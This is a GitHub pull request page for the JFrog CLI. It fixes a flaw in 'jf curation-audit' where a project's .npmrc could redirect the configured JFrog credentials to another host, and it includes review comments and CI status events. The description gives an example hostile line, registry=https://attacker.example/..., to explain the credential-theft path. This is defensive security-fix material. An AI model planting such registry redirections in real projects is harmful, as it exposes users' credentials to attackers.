Skip to content

XRAY-163629 - Check .npmrc host matches jf c server before sending credentials - #943

Merged
gauriy-tech merged 2 commits into
jfrog:devfrom
gauriy-tech:bugfix/XRAY-163629-jfca-sec-issue
Nov 10, 2026
Merged

gauriy-tech merged 2 commits into
jfrog:devfrom
gauriy-tech:bugfix/XRAY-163629-jfca-sec-issue

Conversation

@gauriy-tech

@gauriy-tech gauriy-tech commented Nov 10, 2026 •

Copy link
Copy Markdown
Collaborator

What changed and why

jf curation-audit (jf ca) reads the npm registry URL from the scanned project's own .npmrc (always for pnpm, and for npm under --run-native). When that .npmrc had no token, the CLI reused the jf c credentials and only swapped in the .npmrc host, so a project author could commit registry=https://attacker.example/artifactory/api/npm/npm/ and receive the victim's JFrog credential on the first dependency probe.

Fix: the host guard already used for yarn, uv, pip, poetry, cargo and gem (credentialFallbackServerDetails) now also covers the three unguarded paths:

  • npm --run-native resolver (setRepoFromNpmrc)
  • pnpm resolver (setRepoFromNpmrcForPnpm)
  • pnpm failed-lockfile probe (curationNoLockfileError): the probe is skipped on a host mismatch, so no request is sent there

Also: the shared ServerDetails is no longer mutated in place, URL userinfo is redacted from the mismatch error and the probe warning, and the error now points to jf c use <server-id> / JFROG_CLI_SERVER_ID (jf ca has no --server-id flag).

Behavior change

pnpm (always) and npm (under --run-native) now stop with a "does not match" error when the .npmrc registry scheme/host differs from the configured jf c server, including reverse-proxy and vanity-domain setups. The error ends the audit of that working directory (later ones still run with --working-dirs). Workaround: align the two URLs or select the matching server with jf c use <server-id> / JFROG_CLI_SERVER_ID.

Release note

Improved 'jf ca' security: 'jf c' credentials are no longer sent to a different .npmrc host (pnpm, npm --run-native).


Screenshot 2026-11-10 at 8 26 22 AM Screenshot 2026-11-10 at 8 26 50 AM Screenshot 2026-11-10 at 8 41 12 AM Screenshot 2026-11-10 at 8 42 21 AM Screenshot 2026-11-10 at 8 44 24 AM ![Uploading Screenshot 2026-11-10 at 9.54.47 AM.png…]()

🤖 Generated with Claude Code

@coderabbitai

coderabbitai Bot commented Nov 10, 2026 •

Copy link
Copy Markdown

Important

Review skipped

Auto reviews are disabled on base/target branches other than the default branch.

Please check the settings in the CodeRabbit UI or the .coderabbit.yaml file in this repository. To trigger a single review, invoke the @coderabbitai review command.

Run configuration

  • Source mode: Auto
  • Repository: Unavailable
  • Branch: Unavailable
  • File: No configuration file from this repository applied
  • Commit: Unavailable
  • Layers: Organization UI; Enforced overrides: Organization, Workspace
  • Review profile: CHILL
  • Plan: Enterprise
  • Run ID: 1203dccb-9515-4a8e-b38a-2343279fc5f0

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • Trigger review

@gauriy-tech
gauriy-tech force-pushed the bugfix/XRAY-163629-jfca-sec-issue branch from 773f734 to 373d9ec Compare November 10, 2026 04:26
@gauriy-tech gauriy-tech added the safe to test Approve running integration tests on a pull request label Nov 10, 2026
@github-actions github-actions Bot removed the safe to test Approve running integration tests on a pull request label Nov 10, 2026
Comment thread commands/curation/curationaudit_test.go Resolved
Comment thread commands/curation/curationaudit_test.go Resolved
Comment thread commands/curation/curationaudit.go Resolved
@Phavya-jfrog

Copy link
Copy Markdown
Contributor

Could the description say what changed and why? It would help to note that pnpm (always) and npm (under --run-native) now stop with a "does not match" error when the .npmrc registry host differs from the configured jf c server, including reverse-proxy and vanity-domain setups. The error ends the audit of that working directory (later ones still run when --working-dirs is used).

A few smaller points:

  • The new error text suggests selecting the server with --server-id, but jf ca doesn't seem to define that flag (cli/docs/flags.go:238-240; a standalone build rejects it). Could this point to jf c use <server-id> or JFROG_CLI_SERVER_ID instead? Worth checking against the bundled jf.
  • The commit subject is 101 characters, so the title was cut off with "…" and the rest landed in the body; a shorter subject would avoid a squash-merge with the truncated title.
  • As a possible follow-up: sameRegistryHost treats :443 and no port as equal, but sameArtifactoryHost (curationaudit.go:2216) and nuget's schemeAndHostOf do not (huggingface's hostOf does, and is scheme-tolerant on purpose). Everything fails closed today, so nothing is exposed.

Suggested release note: "Improved 'jf ca' security: 'jf c' credentials are no longer sent to a different .npmrc host (pnpm, npm --run-native)."


Review generated by xray-pr-review

@gauriy-tech gauriy-tech changed the title XRAY-163629 - Ensuring server url in npmrc is same as set by jf c add… XRAY-163629 - Check .npmrc host matches jf c server before sending credentials Nov 10, 2026
@gauriy-tech gauriy-tech added the safe to test Approve running integration tests on a pull request label Nov 10, 2026
@github-actions github-actions Bot removed the safe to test Approve running integration tests on a pull request label Nov 10, 2026
@gauriy-tech
gauriy-tech force-pushed the bugfix/XRAY-163629-jfca-sec-issue branch from 4885e79 to f4d01b5 Compare November 10, 2026 07:16
@gauriy-tech gauriy-tech added the safe to test Approve running integration tests on a pull request label Nov 10, 2026
@github-actions github-actions Bot removed the safe to test Approve running integration tests on a pull request label Nov 10, 2026

@Phavya-jfrog Phavya-jfrog left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed f4d01b5. The .npmrc host guard for pnpm, the pnpm probe and npm --run-native looks right, and the new tests fail without it. Three small follow-ups are in the inline comments.

The earlier Unit Tests failure was only TestBuildDependencyTreeLimitedDepth (axios 1.21.1 vs 1.21.0), which this PR's logic doesn't touch; the latest commit updates that expectation (worth a line in the description, since it isn't mentioned). Unit tests only run when the safe to test label is added, so this head has no run yet. Could you re-add the label and share the result? The npm-big-tree fixture has no lockfile, so making it hermetic could be tracked separately.


Review generated by xray-pr-review

Comment thread commands/curation/curationaudit_test.go Resolved
Comment thread commands/curation/curationaudit.go Resolved
@gauriy-tech
gauriy-tech force-pushed the bugfix/XRAY-163629-jfca-sec-issue branch from f4d01b5 to 3395a09 Compare November 10, 2026 08:16
@gauriy-tech gauriy-tech added the safe to test Approve running integration tests on a pull request label Nov 10, 2026
@github-actions github-actions Bot removed the safe to test Approve running integration tests on a pull request label Nov 10, 2026
Comment thread commands/curation/curationaudit.go Resolved
Comment thread commands/curation/curationaudit.go Resolved
Comment thread commands/curation/curationaudit_test.go Resolved
@gauriy-tech gauriy-tech added the safe to test Approve running integration tests on a pull request label Nov 10, 2026
@github-actions github-actions Bot removed the safe to test Approve running integration tests on a pull request label Nov 10, 2026
@gauriy-tech
gauriy-tech force-pushed the bugfix/XRAY-163629-jfca-sec-issue branch from b57c66e to 584462b Compare November 10, 2026 11:52
@gauriy-tech gauriy-tech added the safe to test Approve running integration tests on a pull request label Nov 10, 2026
@github-actions github-actions Bot removed the safe to test Approve running integration tests on a pull request label Nov 10, 2026
@github-actions

Copy link
Copy Markdown
Contributor

👍 Frogbot scanned this pull request and did not find any new security issues.


@gauriy-tech
gauriy-tech merged commit fff6a8b into jfrog:dev Nov 10, 2026
67 checks passed
@Jordanh1996 Jordanh1996 added the bug Something isn't working label Nov 11, 2026

This branch was previously deployed

1 inactive deployment
frogbot — 584462b9 Deployed Nov 10, 2026 by gauriy-tech via scan-pull-request #4790
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants